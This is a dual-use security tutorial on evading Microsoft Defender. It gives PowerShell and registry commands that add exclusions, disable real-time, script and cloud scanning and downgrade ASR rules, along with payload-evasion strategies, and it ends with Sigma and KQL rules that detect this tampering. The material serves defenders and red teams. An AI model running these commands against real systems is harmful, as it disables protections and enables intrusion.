Windows Defender Evasion

Windows Defender (Microsoft Defender Antivirus) is the default endpoint protection on every modern Windows installation. Understanding its detection layers — file scanning, behavioral monitoring, cloud lookup, ASR rules, and network inspection — is essential both for building evasion techniques and for hardening environments. Disabling or bypassing Defender requires admin rights; the attempts themselves are high-fidelity detection signals.

Defender Detection Layers

Path and Process Exclusions

# Defender exclusions disable scanning for specific paths, extensions, or processes.
# Adding an exclusion requires admin. The exclusion itself is a persistence aid:
# drop your payload in the excluded path and it won't be scanned on write or execute.
# Exclusions are also commonly misconfigured in enterprise — find existing ones first.

# Check existing exclusions:
Get-MpPreference | Select ExclusionPath, ExclusionExtension, ExclusionProcess

# Add exclusion for a directory (requires admin):
Add-MpPreference -ExclusionPath "C:\Temp\Tools"
Add-MpPreference -ExclusionProcess "powershell.exe"  # dangerous! disables PS scanning
Add-MpPreference -ExclusionExtension ".exe"          # disables ALL .exe scanning

# Via registry (same result, less obvious cmdlet):
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Temp" /t REG_DWORD /d 0 /f

# Find exclusions set via GPO (check HKLM policy keys):
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths"

# Defender uses process exclusions extensively in enterprise:
# Common misconfiguration: backup agents, AV scanners, pentest tools excluded.
# If C:\Program Files\SomeBackup\agent.exe is excluded from scanning,
# replacing that binary with your payload runs without any scan.

Defender Tampering via Registry and PowerShell

# Disable real-time protection (requires admin; logs Event 5001 in Defender event log):
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable via registry (GPO override path — only works if not managed by Intune/GPO):
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f

# Tamper Protection: since Win10 1903, prevents modification of Defender settings
# via registry or PowerShell when enabled. Check status:
Get-MpComputerStatus | Select TamperProtectionSource, IsTamperProtected

# Tamper Protection bypass requires:
# 1. Sign in to Windows Security UI and disable it manually (requires physical/RDP access)
# 2. Intune/MDM policy override (requires MDM admin)
# 3. Kernel-level driver that writes to registry bypassing PPL protection
# 4. Exploit in MsMpEng.exe process itself

# Disable specific Defender features without full disable (may evade some tamper checks):
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true    # disables download scanning
Set-MpPreference -DisableScriptScanning $true    # disables AMSI for scripts
Set-MpPreference -MAPSReporting Disabled          # disables cloud lookup

ASR Rule Bypass

# Check ASR rule status:
Get-MpPreference | Select AttackSurfaceReductionRules_Ids, AttackSurfaceReductionRules_Actions

# Each rule has an action: 0=disabled, 1=block, 2=audit, 6=warn
# In audit mode: rule fires but doesn't block — still logs to Defender event log.
# Audit mode is the enterprise standard for pilot deployment.
# Attacker value: if audit-only, execute freely; events go to SIEM but nothing blocks.

# Set all rules to audit (requires admin — useful for red team assessment):
$ruleGuids = (Get-MpPreference).AttackSurfaceReductionRules_Ids
Set-MpPreference -AttackSurfaceReductionRules_Ids $ruleGuids `
    -AttackSurfaceReductionRules_Actions ($ruleGuids | ForEach-Object { 2 })

Cloud Protection and Block at First Sight

# Block at First Sight (BAFS): Defender sends unknown file hash to cloud.
# If unknown and suspicious: blocked pending cloud verdict (up to 10 seconds).
# Bypass approach: make the file "known" by ensuring it has been submitted before,
# or modify the file so its hash is unique and doesn't match known malware.
# The cloud system also scores PE files by behavior metadata, not just hash.

# Disable cloud-delivered protection (blocks BAFS and MAPS reporting):
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -CloudBlockLevel Disabled

# Check cloud protection status:
Get-MpComputerStatus | Select CloudProtectionEnabled, CloudBlockLevel

# Payload strategies against cloud detection:
# 1. Encrypted payload: the binary on disk is encrypted; decryption key arrives via C2.
#    Cloud sees an encrypted blob — no PE behavior to analyze. Stub must be clean.
# 2. Reflective loading: no payload file ever written to disk.
#    Cloud only scans files at write time — in-memory payloads bypass file scanning.
# 3. Legitimate binary execution: payload executed entirely within signed LOLBins.
#    Cloud doesn't flag signed Microsoft binaries.
# 4. Delayed execution: payload contains a 10+ day timer before malicious activity.
#    Cloud sandbox runs for <5 minutes; delayed payload appears benign.

Detection Engineering

title: Windows Defender Real-Time Protection Disabled
logsource:
  product: windows
  service: windefend
detection:
  selection:
    EventID:
      - 5001   # Real-time protection disabled
      - 5010   # Scanning for malware/other sw disabled
      - 5012   # Scanning for viruses disabled
  condition: selection
level: critical
tags: [attack.defense_evasion, T1562.001]

title: Defender Exclusion Added via Registry or PowerShell
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains:
      - '\Windows Defender\Exclusions\Paths'
      - '\Windows Defender\Exclusions\Extensions'
      - '\Windows Defender\Exclusions\Processes'
  condition: selection
level: high
tags: [attack.defense_evasion, T1562.001]

title: ASR Rule Modified to Disabled or Audit State
logsource:
  product: windows
  category: registry_set
detection:
  selection:
    TargetObject|contains: 'AttackSurfaceReductionRules'
    Details: '0'   # 0 = disabled; 2 = audit
  condition: selection
level: high

-- MDE KQL: Defender settings changed by non-system process
DeviceRegistryEvents
| where RegistryKey has "Windows Defender"
| where RegistryValueName in~ ("DisableRealtimeMonitoring",
                                "DisableBehaviorMonitoring",
                                "DisableAntiSpyware",
                                "MAPSReporting")
| where RegistryValueData == "1" or RegistryValueData == "0"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe", "SecurityHealthService.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessAccountName, RegistryKey, RegistryValueName, RegistryValueData

Q&A